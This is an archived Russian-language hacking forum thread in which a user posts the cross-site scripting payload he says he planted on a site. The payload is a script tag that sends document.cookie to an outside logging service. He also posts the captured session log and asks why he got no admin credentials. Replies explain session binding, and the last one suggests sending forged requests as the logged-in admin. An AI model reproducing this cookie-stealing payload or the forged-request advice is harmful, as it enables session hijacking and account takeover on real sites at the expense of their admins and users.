PDA

Просмотр полной версии : Я воспользовался na-s.ru Куков нет помогите!!


magnatan
01.02.2009, 21:52
Короче вот код <script>img = new Image(); img.src = "http://na-s.ru/images/########.gif?"+document.cookie;</script>

Я его вставил!! и внедрил !! Админ его не спалил!! точно знаю !! вот что мне выдает !!!

IP адрес : #####; Хост : ######; Дата : 05:29:56-01.02.09
Браузер : Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1
Удаленный порт : 59393; Тип соединения : close
Откуда пришёл : ###########
Строка запроса : PHPSESSID=932d484ac6c95ba2da6f892e42783f8d
popup1=podderzhka_saita
advmaker_pop=1
popup2=podderzhka_saita
s=1
b=b
hotlog=1

#### это мои замены!!!

гдеже куки???7

a1ex
01.02.2009, 21:54
Видимо создаётся только сессия и админ не ставит галочку "запоминать себя" вот и всё.:)

magnatan
01.02.2009, 21:55
А разве он когда пароль и логин вводит оно не должно мне показать???


И еще вопрос как из посетителей !! если их 30 000 админа найти??

a1ex
01.02.2009, 21:58
Да даже если так то в "нормальном" виде тебе нечего непридёт.
А только сессия которую он открыл.И помни "куки" не живут.;)

magnatan
01.02.2009, 22:00
в какком смысле не живут??? Подробней можна??

a1ex
01.02.2009, 22:05
Ну вот смотри...Админ пришёл....пасидел...сессия открылась...админ ушёл...сессия осталась...в след. раз админ пришёл...сессия др будет...

p.s.даже такой пример.

vikseriq
01.02.2009, 22:05
Не живут на чужом. то есть в сессии идет привязка к браузеру и ip-адресу посетителя. то есть тупо копировать-вставить ничего не даст.

magnatan
01.02.2009, 22:06
Ну так в это время пока он ушол я же могу попасть в админ панель или нет???

a1ex
01.02.2009, 22:07
С его сессией нет.

magnatan
01.02.2009, 22:08
Ну тогда какой толк от na-s.ru ?????

astrologer
01.02.2009, 22:35
magnatan, если ты можешь вставлять произвольный код, куки ни к чему - можно и так отправить все нужные запросы от имени админа (если он, конечно, будет авторизован)